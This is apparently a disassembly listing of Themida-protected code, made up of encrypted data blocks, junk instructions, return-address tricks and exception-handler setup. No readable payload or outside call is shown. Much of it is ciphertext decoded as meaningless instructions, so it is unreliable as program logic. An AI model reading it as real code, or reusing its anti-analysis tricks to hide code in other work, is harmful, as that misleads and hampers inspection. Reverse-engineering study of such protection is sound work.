0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 42C35040h, 436F5AE0h dd 6AA042E1h, 0A5BF6600h, 0D4E568A1h, 6060C177h, 0FDE7BF66h dd 3F07BA66h, 148C0F61h, 0E8000000h, 0Eh, 0A9DE07FEh, 21E7549h dd 16274B60h, 61587A4Fh, 1A240481h, 663EA72Fh, 95FFDF8Bh dd 628176Dh, 1FF98D29h, 85890628h, 62BA3FDh, 0C4E9A6B7h dd 89000001h, 281EB195h, 0D8BF0F06h, 0A3F5858Bh, 0BD8B062Bh dd 6281D71h, 1800C7h, 0B5890000h, 6282F4Dh, 0A3F9B58Bh dd 5E9062Bh, 6A000000h, 48D15F09h, 2B65858Bh, 6A0628h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 62ADB7C3h, 0F8AEB4A7h, 0E7810689h, 4F4703F9h, 24C9858Bh dd 8D890628h, 628196Dh, 89044689h, 2805DD9Dh, 8B669606h dd 0DC8A50D8h, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0F0958F48h, 14E853h, 57870000h dd 35593300h, 0E0E1B1C5h, 27530B03h, 42C7652Eh, 0FE8C296h dd 96000000h, 90691EEAh, 0A3A5037Ah, 0E02CFD78h, 5F5FF2E4h dd 0E98D895Bh, 0FF062833h, 2BA3F5B5h, 0FE806h, 60340000h dd 6458804Dh, 0B92D76F8h, 56740744h, 0BD8B6015h, 6280D75h dd 0DC99D01h, 5B610628h, 4E8h, 1F03FF00h, 60606000h, 50616161h dd 0FE8h, 7B8CF900h, 5F668441h, 17213B54h, 3BD05F02h, 258FBF66h dd 24448B5Fh, 8B1DB704h, 0D88B6600h, 4244489h, 41958958h dd 8D062824h, 2BA3FD85h, 8D0F6006h, 6, 1A01B509h, 90610628h dd 8E9h, 0FCE1F500h, 22071234h, 52505022h, 5E8h, 23281000h dd 0F5F609Fh, 8B666031h, 8E8D9h, 5E8A0000h, 0EE4AC20h dd 615A8F79h, 6A90585Ah, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 3800C353h, 303A3C59h dd 3119038Eh, 2820A985h, 0F8BF0F06h, 176D95FFh, 81660628h dd 512D2CC3h, 321D9D8Bh, 615B0628h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 96C35747h, 0D81E0B80h, 0D488BB66h dd 113D85C7h, 30628h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0CECA12C3h, 62F268Dh dd 9E9ADh, 0ED740000h, 71699149h, 832E6874h, 2BA3FDBDh dd 840F0006h, 0Dh, 2B01BD8Bh, 1DE90628h, 8B000000h, 0C3050FAh dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0CA59529h dd 9D090628h, 628294Dh, 113DBD83h, 0F030628h, 4BA85h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 11E9C930h, 50000000h, 6370144Fh, 0CA804F7Ch, 82B7F6D4h dd 0B19A328Dh, 0A3FDBD83h, 0F00062Bh, 47A84h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 65D6C7E9h, 35BF0E7Fh, 0FF353585h, 2BA3FDB5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0D68EADABh, 8B66C98Eh, 9595FFD8h, 6A06280Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0BBC4C353h, 8BFC0466h, 2BA3F1B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 5557428Eh dd 0ADD477E0h, 17B1BD8Bh, 85890628h, 62802B1h, 106C7h dd 8D010001h, 62818D5h, 0F606096h, 81h, 5E900h, 40250000h dd 617326D9h, 8B0F5061h, 16h, 11E9h, 95B8CA00h, 0DFE30BF3h dd 0D7A1299h, 7289E569h, 6A961365h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0D133C352h dd 0C974A0B4h, 0BA9443Bh, 2814E1BDh, 0FDB5FF06h, 60062BA3h dd 55D8D09h, 9D8B0628h, 6281EC1h, 1995FF61h, 66062820h dd 0B58BFA8Bh, 62BA3F1h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 75C35242h, 0AE9FEFBh, 45000000h, 79FFEF2Fh dd 755FCDEEh, 319D8BD4h, 8B062802h, 2817D585h, 68E0F06h dd 89000000h, 281F3185h, 0C5BD8B06h, 89062812h, 0C486h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 4BBF9962h, 0A5CF524h, 9D894722h, 6282B29h dd 715958Bh, 6A0628h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 8BA6D3C3h, 70987BA5h, 8B3ED2A7h dd 281A0DBDh, 4C28306h, 32B1BD8Bh, 0BD8B0628h, 6281285h dd 6A205089h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0A21BC350h, 0EE0E933Dh dd 9D8B5394h, 6281481h, 0D9858D5Bh, 81062BB8h, 86CAE6C3h dd 0B886896Ah, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0E873C356h, 0F5006AF6h dd 0A3FDB5FFh, 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 363387C3h, 0D195FF9Eh, 0E806282Ch dd 0Eh, 17FA4F96h, 0B2AD8715h, 6CE3528h, 85892D1Eh, 6280F99h dd 7D9D8B5Fh, 96062832h, 2800F52h, 60000000h, 66505F61h dd 9658FABBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 88C35747h, 0BF0F6E72h, 4DBD8BF9h, 0FF062822h, 2BA3FDB5h dd 9D896006h, 628235Dh, 4DB53360h, 0F06281Ah, 87h, 0E8616100h dd 11h, 0BD5B9496h, 23400F64h, 9643EEF7h, 0C678281h, 0BD31517Fh dd 628298Dh, 95FF5B5Fh, 62829B9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0A0C35242h, 34698529h, 0BD830628h dd 6280C55h, 3A840F00h, 8B000000h, 282355BDh, 5B35006h dd 6A243489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 2CA9C352h, 2D593BECh, 1ADF0E52h dd 3870Fh, 0BF0F0000h, 0FDB5FFDBh, 31062BA3h, 281165B5h dd 8595FF06h, 6A062822h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0ECEBC353h, 0A3FDB5FFh dd 0BF0F062Bh, 0C195FFF8h, 0E8062810h, 12h, 7BB4A270h dd 2D0B45E9h, 71578E3Ch, 82443E9Ah, 0BB66FDCCh, 835B326Ah dd 281861BDh, 840F0206h, 3Ah, 0F259D8Bh, 858B0628h, 6281259h dd 0C6DEBF0Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 8D2965C3h, 6280C75h, 20858D01h dd 85C70628h, 6281305h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_59063F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59063F proc near ; CODE XREF: Themida_:00590637p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_59063F endp ; --------------------------------------------------------------------------- db 0E0h ; --------------------------------------------------------------------------- add al, [edx-3FA763D6h] jmp loc_590663 ; --------------------------------------------------------------------------- db 0A7h dd 122787EFh db 68h, 0Ch, 0EEh ; --------------------------------------------------------------------------- loc_590663: ; CODE XREF: Themida_:00590656j mov edi, ecx call near ptr loc_59067B+1 loop loc_5906E2 mov bh, 2 mov edi, 384D287Ah sbb al, 97h db 64h cdq cdq test [esi+66h], bh loc_59067B: ; CODE XREF: Themida_:00590665p mov eax, ds:1C6EB81h lock dec ebx pop edi jmp near ptr dword_58F940+3Eh ; --------------------------------------------------------------------------- jg loc_59069A jg loc_59069A loc_590694: ; CODE XREF: Themida_:005906B8j sbb ebx, 12BDC4BBh loc_59069A: ; CODE XREF: Themida_:00590688j ; Themida_:0059068Ej mov eax, ecx push 0 push ecx call sub_5906A7 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5906A7 proc near ; CODE XREF: Themida_:0059069Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5906A7 endp ; --------------------------------------------------------------------------- db 63h ; --------------------------------------------------------------------------- jmp short loc_590694 ; --------------------------------------------------------------------------- mov bh, 36h or al, ah enter 0FFFFA825h, 8Bh popf stc push ss sub [esi], al or [ebp+6281E09h], edx jmp loc_5906D6 ; --------------------------------------------------------------------------- dw 96B4h db 0A4h, 25h ; --------------------------------------------------------------------------- loc_5906D6: ; CODE XREF: Themida_:005906CDj jmp loc_590BC3 ; --------------------------------------------------------------------------- db 4Ah dd 2068379h ; --------------------------------------------------------------------------- xor al, 36h ; CODE XREF: Themida_:00590736j loc_5906E2: ; CODE XREF: Themida_:0059066Aj mov ecx, 6AE7E9B5h xchg ax, sp sahf and ds:0D2D55250h, ebx test ds:0E9ED6A68h, dh sbb ah, [eax] mov ds:55D2D49Fh, eax push ecx add dword ptr [edi-11AB1BF6h], 795FE02Eh ; CODE XREF: Themida_:00590759j dec edx ja short loc_59070D cmpsb inc esi loc_59070D: ; CODE XREF: Themida_:00590709j loopne loc_590747 xchg eax, ebx jnb short loc_590791 cmp al, 7Ah out 10h, al inc eax inc esi fidiv dword ptr [ebp-11ABADE1h] pop edx xchg eax, ecx fst qword ptr [eax] adc dl, [ebp-5D383E6Fh] ; CODE XREF: Themida_:00590765j out dx, al push ds and al, 0FFh dec ebx jge short loc_5907AF adc esi, [ebx+73938F4Dh] jg short near ptr loc_5906E0+1 out 53h, eax mov dh, [eax+29F97F38h] das mov dl, 0AEh jecxz short near ptr loc_59075B+1 cmp esp, edx loc_590747: ; CODE XREF: Themida_:loc_59070Dj jno short near ptr loc_59077B+1 and [edi+51B7B985h], dh in eax, 0BFh ; Interrupt Controller #2, 8259A lock mul byte ptr [edx+41h] add ebx, ebp adc [edx], dl jle short near ptr loc_5906FE+5 loc_59075B: ; CODE XREF: Themida_:00590743j fstp st(3) mov dh, 2 loc_59075F: ; CODE XREF: Themida_:00590776j xor edi, [ecx] adc al, 60h xchg eax, ecx xchg eax, edi jb short near ptr loc_590723+2 out dx, eax cmc rol byte ptr [eax+esi*2], 1 mov bh, 0F7h xchg eax, ecx dec ebx sal dword ptr [ebx+7Fh], 1 in eax, dx sub eax, ebp jnp short loc_59075F db 2Eh test al, 0DDh loc_59077B: ; CODE XREF: Themida_:loc_590747j fistp dword ptr [esi+20h] cld fiadd word ptr [ecx] cwde mov al, ds:2E0498EEh pop esi db 64h aas dec ebx mov [edi], dh jnb short near ptr loc_590809+5 dec esp push eax loc_590791: ; CODE XREF: Themida_:00590710j xchg eax, edi sbb bl, [edi-2Dh] xor [ebx+5457h], edi add [eax-20EE9F0h], al fst dword ptr [ebx-0E02808Dh] retf ; --------------------------------------------------------------------------- stc add ebp, [edi+6Fh] mov dh, 0F6h loc_5907AF: ; CODE XREF: Themida_:0059072Ej xchg eax, esi xor al, ch xchg eax, ebx jnb short near ptr loc_590833+1 adc al, [edx+48h] nop into cmp ch, [ebp+0Ch] das xor [ebx+1AAh], edi add bh, dl loopne loc_5907DA adc al, 0EFh cmp ebp, [ebp+6Fh] dec edx xchg eax, esi ; --------------------------------------------------------------------------- db 0C4h dd 57CFA9CEh, 4C4A189Eh db 0CFh, 0CBh ; --------------------------------------------------------------------------- loc_5907DA: ; CODE XREF: Themida_:005907C6j sti add [ebp-6CF630CBh], edx jnb short loc_590862 sub ebp, [ecx-3] xchg eax, edi inc ecx xchg eax, ebx jnb short loc_59086A rep xor [ebp+13E0137Ch], ebx adc eax, 3CA202F0h pushf xchg eax, ebx jnb short near ptr loc_590879+1 cwde setalc inc edx insb sahf mov al, ds:5D16B47Bh xlat or cl, [edi+ecx*4] loc_590809: ; CODE XREF: Themida_:0059078Dj mov edi, [ebx+1CE89CC1h] sbb dh, ch add bh, [ebx+eax+312D0386h] mov ebx, 8FB3h add al, ah loopne near ptr loc_590833+1 dec ecx jge short loc_59089F push esi outsb db 3Eh, 2Eh dec edx fmul qword ptr [esi-18F38D8Dh] xor esp, [edi+5Fh] stc loc_590833: ; CODE XREF: Themida_:005907B3j ; Themida_:0059081Fj and edi, [edx-6CAA808Dh] sub eax, 8B855408h db 66h mov dl, 0E0h jmp far ptr 9AF2h:0AC65F9C5h ; --------------------------------------------------------------------------- dd 3A3BEE12h, 7810E4EFh, 9DCD7F6Bh, 2557B6FBh, 4C345957h dd 3FFFB8B8h db 0DFh, 79h ; --------------------------------------------------------------------------- loc_590862: ; CODE XREF: Themida_:005907E1j mov ds:0D57F7377h, eax adc edi, [edi-57h] loc_59086A: ; CODE XREF: Themida_:005907E9j fcomp st(6) popa pop ebp nop xchg eax, edx add es:[edx], dh xor al, 0A0h xlat and edx, [ecx-6Fh] loc_590879: ; CODE XREF: Themida_:005907F9j sbb eax, 1CEF5359h iret ; --------------------------------------------------------------------------- imul eax, [ecx+edx*2-5], 0C2A02AD7h popf pop ss jmp fword ptr [ebx+6Bh] ; --------------------------------------------------------------------------- dd 0A25435B2h, 3F62BB31h db 2 dup(0) ; --------------------------------------------------------------------------- loc_590896: ; CODE XREF: Themida_:005908E1j ; Themida_:005908EBj add [edi-0FEAEC20h], cl cmp al, 71h outsd loc_59089F: ; CODE XREF: Themida_:00590822j dec edx add ecx, gs:[edx-3Ch] imul dword ptr ds:543C615Fh out dx, al jno short loc_5908B5 loopne loc_5908C1 push cs test al, 70h xchg eax, ebx jnb short loc_590934 loc_5908B5: ; CODE XREF: Themida_:005908ABj mov bh, [esi+124204BCh] retn 0F0CDh ; --------------------------------------------------------------------------- dw 0B2C5h db 23h ; --------------------------------------------------------------------------- loc_5908C1: ; CODE XREF: Themida_:005908ADj mov ebp, 7971A498h jnb short loc_590947 movsd test eax, 190673F0h xor bh, [ebx+1B0h] add ch, bl loopne near ptr loc_5908EB+1 adc ch, ch cmp [ecx+6Fh], ebp add ebx, ebp adc dl, [eax] jl short loc_590896 out 43h, eax ; Timer 8253-5 (AT: 8254.2). loc_5908E5: ; CODE XREF: Themida_:0059093Aj sbb eax, 432B5052h xlat loc_5908EB: ; CODE XREF: Themida_:005908D6j jno short near ptr loc_590896+2 xchg eax, ebx jnb short loc_59096F int 0Bh ; - IRQ3 - COM2 INTERRUPT ja short near ptr loc_590968+3 ; CODE XREF: Themida_:0059095Aj mov esi, 0ED6A6C38h ; CODE XREF: Themida_:0059094Ej std sub cl, [ecx] popf aaa in al, dx mov word ptr [ebx+75h], ds mov es, word ptr [edx] pop edx shr eax, cl aas call far ptr 46EDh:3AB9A2CFh iret ; --------------------------------------------------------------------------- dd 2ADE0369h, 0DFE3605Ah, 0FCF0150Fh, 795BD8DAh ; --------------------------------------------------------------------------- scasd dec ebp xchg eax, esp loc_590923: ; CODE XREF: Themida_:00590952j push cs db 3Eh inc esp mov ebx, 698DF9F3h and esi, [ebp+edi-2DC725BCh] ; --------------------------------------------------------------------------- db 0Ah ; --------------------------------------------------------------------------- loc_590934: ; CODE XREF: Themida_:005908B3j or ebx, [ebx+79h] db 2Eh insb push es jb short loc_5908E5 cmc and eax, 0A13F062Bh call near ptr 1BF19BA9h loc_590947: ; CODE XREF: Themida_:005908C6j and [ecx-39h], bl pop ecx sar dword ptr [ecx], 0D9h jnb short near ptr loc_5908F4+1 aaa pop ebx jns short loc_590923 or eax, 379D3BA1h pop ebx jns short near ptr loc_5908F2+1 aad 41h push ebp dec eax add [eax], eax add [edx-67FBDE0Ch], al loc_590968: ; CODE XREF: Themida_:loc_5908F2j xor bl, [edi+1755B5Eh] aas loc_59096F: ; CODE XREF: Themida_:005908EEj shr dword ptr [ebp-7BB21E21h], cl rol byte ptr [eax], 1 push es call far ptr 5880h:0E6CF0876h or [ebx+79h], bl fcomp qword ptr [edx] jmp far ptr 89C7h:0E87C7FA0h ; --------------------------------------------------------------------------- db 29h dd 0E5E2B305h, 7EF0D8F2h, 795B0A5Eh, 0AE8418DAh, 0A078DEDEh dd 0D4795B0Ah, 9987AC12h, 80A5A773h, 5E2E0498h, 0CA783F64h dd 836157A6h, 43110C81h, 0D2382045h, 0FF853E3Eh, 0BDB8352Fh dd 0C15985BCh, 3FFAh, 1FF42700h, 0D0729602h, 8B5F6230h dd 0B31929BDh, 0FF738245h, 54486D2Fh, 0FF738284h, 77E9A206h dd 0AB117DA2h, 7F73824Dh, 0D3F96527h, 54750903h, 8850B616h dd 0AC7F7382h, 9C7D56EAh, 84000000h, 980421F4h, 1FD10774h dd 49DD8979h, 0A500D339h, 7032755Bh, 0CDC7974Bh, 827C4C50h dd 281EF016h, 1AD7CB94h, 8D795BA2h, 1CEC722Bh, 767A522h dd 5BA27BA1h, 0A46FFD79h, 2F957DA2h, 0DD06D99Bh, 4B534D71h dd 8ABAB483h, 0AB3F58DDh, 7A6E359Bh, 2E547377h, 73CF6361h dd 501F45B1h, 0DD433156h, 73271D3Fh, 7D117739h, 363000B4h dd 8F915D11h, 0E9EBB66Ah, 0A65FFDC4h, 550EA2ECh, 87F310E3h dd 4989261h, 0CE3494F4h, 73271D0Eh, 0CED09C2Ah, 97BED468h dd 91790BEEh, 0F4E952CFh, 6B6D3821h, 6C339905h, 6755F60h dd 9B6B1F44h, 6FD535A1h, 795FE7A9h, 547509CBh, 1A808050h dd 795FE7C2h, 294EB476h, 0D0911C35h, 332DFC9Eh, 8C8E5A0Eh dd 4902A067h, 6BF378Fh, 4AB6B080h, 2A5C5224h, 0A8C95D5Fh dd 0B5DAD4A4h, 14392F01h, 75FBB448h, 2A2EABA5h, 843B605Ah dd 3, 0E03A878Bh, 40F4190Fh, 9D517670h, 0F7ABD0D2h, 55092E28h dd 0B1658A88h, 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h dd 81E28952h, 4C2h, 4BF5700h, 29000000h, 14875FFAh, 5F685C24h dd 8900002Fh, 29682404h, 8900002Bh, 2EB8241Ch, 0C11CCD56h dd 0B95102E8h, 0 ; --------------------------------------------------------------------------- sub ecx, eax xchg eax, ecx pop ecx shl eax, 3 shr eax, 3 xor eax, 1EE0D9E3h push esp mov ebx, [esp] add esp, 4 push ecx mov ecx, 8 add ecx, 463841h add ecx, ebx sub ecx, 463841h mov [ecx], eax pop ecx mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_551321 ; --------------------------------------------------------------------------- db 1Bh, 0A7h, 97h ; --------------------------------------------------------------------------- loc_590BC3: ; CODE XREF: Themida_:loc_5906D6j mov eax, 62C77EFh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 7EFAF83Dh, 0EDEC515h, 6370CD95h, 298116CEh, 5332C526h dd 461801EAh, 50DA398Eh, 53C1B695h, 75C931E9h, 2C05858Dh dd 0FE90628h, 86000000h, 1EA202C0h, 0C2A9F9D1h, 39F3A3E6h dd 0E89077A1h, 9, 0ED85131h, 817FDE25h, 5B5B51C9h, 0DA8B6650h dd 95BD0190h, 6A06280Fh, 0DE800h, 269D0000h, 0B480197Fh dd 0E02F3081h, 0BB6B8341h, 0ACD81A1h, 6A006A5Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 912FC353h, 32649A57h, 40581C2Bh, 3992F781h, 858D04F9h dd 62C7A6Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0D9C35141h, 90F2CD53h, 1509BBEDh, 0C08359C6h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 9F737795h, 9D5CB6F0h, 1860FC2h, 0F9000000h, 80CEBB66h dd 5E85090h, 35000000h, 0B748CFB6h, 905FD88Bh, 0BD89006Ah dd 628070Dh, 0B70F006Ah, 3195FFFBh, 6A062824h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0C91FC350h, 445A5FACh, 0FBBF7C6Eh, 8D6445E3h, 2B94F38Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 4CB34FC5h, 6830F60h, 8B000000h, 280E9195h dd 118D8906h, 61062811h, 6AD1FFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 783BDC3h, 0AE7CB40Dh dd 81663BA3h, 835C00C3h, 282415BDh, 850F0106h, 2Ah, 33CD9D8Bh dd 26A0628h, 90DAB70Fh, 50DA8B66h, 0E890DF8Bh, 5, 25C20E5Fh dd 95FF5B1Ah, 6282CD1h, 2ED59D0Bh, 0D0E90628h, 0E800000Ch dd 0 db 5Dh ; ] db 81h ; │ db 0EDh ; М db 77h ; w db 7Ah ; z db 2Ch ; , db 6 db 0B3h ; Ё db 35h ; 5 db 6Ah ; j db 0 db 51h ; Q db 0E8h ; Х db 3 db 0 db 0 db 0 db 20h db 59h ; Y db 0C3h ; ц ; =============== S U B R O U T I N E ======================================= sub_590DD0 proc near arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_590DD0 endp ; --------------------------------------------------------------------------- cmpsd mov bl, dl mov [ebp+6282EB5h], esi mov [ebp+6280EF5h], esi lea eax, [ebp+62B85B0h] push 0 push eax call sub_590E00 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590E00 proc near ; CODE XREF: Themida_:00590DF8p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_590E00 endp ; --------------------------------------------------------------------------- lds edx, [edi-76A00AAAh] popf jnz short near ptr loc_590E38+1 sub [esi], al nop jmp loc_590E34 ; --------------------------------------------------------------------------- db 75h, 8Dh, 0DBh dd 962D1545h, 90704B3Bh, 1A15A01Bh, 8C28B3EBh ; --------------------------------------------------------------------------- loc_590E34: ; CODE XREF: Themida_:00590E1Cj push eax nop mov bh, ch loc_590E38: ; CODE XREF: Themida_:00590E17j push large dword ptr fs:0 mov edi, esi mov [ebp+6282631h], ebx mov large fs:0, esp push 0 push edx call sub_590E59 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590E59 proc near ; CODE XREF: Themida_:00590E51p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_590E59 endp ; --------------------------------------------------------------------------- sbb ch, 37h inc edx db 26h jge loc_590E7A mov edi, [ebp+6281869h] loc_590E7A: ; CODE XREF: Themida_:00590E6Dj inc dword ptr [ebp+6281659h] mov ebx, 6F58FA30h push 0FFFFFFFFh push 0 push esi call sub_590E92 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590E92 proc near ; CODE XREF: Themida_:00590E8Ap arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_590E92 endp ; --------------------------------------------------------------------------- xlat mov ebx, [ebp+6280C4Dh] push dword ptr [ebp+62801BDh] push 0 push ebx call sub_590EBA and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590EBA proc near ; CODE XREF: Themida_:00590EB2p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_590EBA endp ; --------------------------------------------------------------------------- dw 89E0h dd 28188985h, 0C195FF06h, 0E906282Dh, 12Bh, 2DC59529h dd 0B00628h, 989ED781h, 70E6585Bh, 0C9E38166h, 1D9D290Bh dd 0E4062817h, 7E971h, 0AC910000h, 9FC563C7h, 0F613CD2h dd 0FA83h, 68A0F00h, 89000000h, 282CD98Dh, 0C8B60F06h dd 191D8D01h, 6BA0628h, 9000000h, 28029585h, 88F0F06h dd 52000000h, 1A35BD89h, 8B5B0628h, 0A6CF80C1h, 0F04E8C1h dd 686h, 99D8900h, 8B062811h, 280479BDh, 0E2F76606h, 31F9BD89h dd 0C82B0628h, 8B6ACF80h, 0DE9D1h, 50A10000h, 635D579Ah dd 6D5F351Bh, 0BF19C4E1h, 3E37938Dh, 3E9h, 0F98B6600h dd 2FC1858Bh, 85290628h, 6282055h, 83FA8B66h, 0DB8007C0h dd 0C0835Ah, 0EE8h, 5D843600h, 0C03512C2h, 0E672F01Bh dd 0BBA061D3h, 3534ECF6h, 0FD03B5Bh, 0D83h, 3CC78100h dd 0E94721A6h, 3Fh, 8D8BD98Ah, 6282D91h, 2595BF66h, 0F01E183h dd 2A84h, 0BDBD8B00h, 8306280Ch, 282D91A5h, 8531FE06h dd 6280185h, 32159529h, 95890628h, 6282FC1h, 0FA9B531h dd 0E90628h, 8D000000h, 2BEA6FB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 6A006A3Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 6C8C353h, 76D9D0Bh, 95FF0628h, 6280465h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 44C35141h dd 8D89A6BAh, 628070Dh, 839B9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0D10D52D2h dd 0C699FB4Eh, 0BD8BE1BDh, 6281511h, 6AFCE183h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 7E6BC356h, 2BFC8903h, 280DF1BDh, 0B806h, 0B5890000h dd 6282961h, 17E5B589h, 0D22B0628h, 9E8h, 1F6A8600h, 0ACA8A110h dd 58BF812Ch, 5F601E4Ah, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 5AC35141h dd 0A4DD8785h, 9D03CA86h, 62801ADh, 0EECB80F8h, 880Dh dd 719D8900h, 31062811h, 282AE9BDh, 15958B06h, 89062807h dd 2819E195h, 0BD8D8B06h, 0E9062821h, 6, 2CEF99Ch, 8A0F2630h dd 0 ; --------------------------------------------------------------------------- push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax push 0 push edx call sub_591181 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_591181 proc near ; CODE XREF: Themida_:00591179p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_591181 endp ; --------------------------------------------------------------------------- db 17h, 65h, 0E6h db 0CCh db 0E1h, 0B5h, 0AFh dd 2D59BD8Bh, 9E80628h, 13000000h, 794B2E1h, 0A4F5DC84h dd 69E38166h, 0BD835F01h, 62825A1h, 20840F00h, 0F9000000h dd 0B8h, 8D8DF500h, 6284F6Eh, 1A1D9D8Bh, 0BD8B0628h, 6282EC5h dd 0D2BBE1FFh, 8332BB84h, 28113DBDh, 840F0006h, 3DDh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 21C35040h, 8B0C2833h dd 3DBD83F8h, 1062811h, 3CA840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0C62168C3h dd 937BD6F5h, 0FFBF0F8Ch, 113DBD83h, 0F030628h, 36186h dd 0EDBD8900h, 106281Fh, 281951BDh, 0BD296006h, 6282CF9h dd 6AD98C66h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 1CCAC352h, 4E180C9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4CC35040h, 0C0742922h dd 66B8FE20h, 0C90AFA8Bh, 0F7840Fh, 8D0F0000h, 1, 0C9858BF9h dd 6A062824h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 2DCBC350h, 309640FCh, 8A60E8EAh dd 6D9D8BEEh, 61062834h, 2D058533h, 0CE90628h, 8F000000h dd 354D7FBAh, 96BC9451h, 50BD5B94h, 28A0Fh, 5B510000h dd 89240489h, 280E69BDh, 0BB006A06h, 4173F0DEh, 5E373E68h dd 0F52506Ah, 684h, 880F00h, 0F000000h, 59576031h, 0AE8h dd 2D0E5000h, 0AFE64641h, 5A10A437h, 81585A61h, 34C12434h dd 6A6A41h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0BF2890C3h, 61B377D7h, 176D95FFh, 6A0628h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0D49063C3h, 85894B84h, 62BA3FDh, 31E38166h, 16CE9A6h dd 0BF0F0000h, 0F5858BD8h, 89062BA3h, 280755B5h, 1800C706h dd 29000000h, 2824F195h, 0F9B58B06h, 8B062BA3h, 281909BDh dd 65858B06h, 6A06282Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 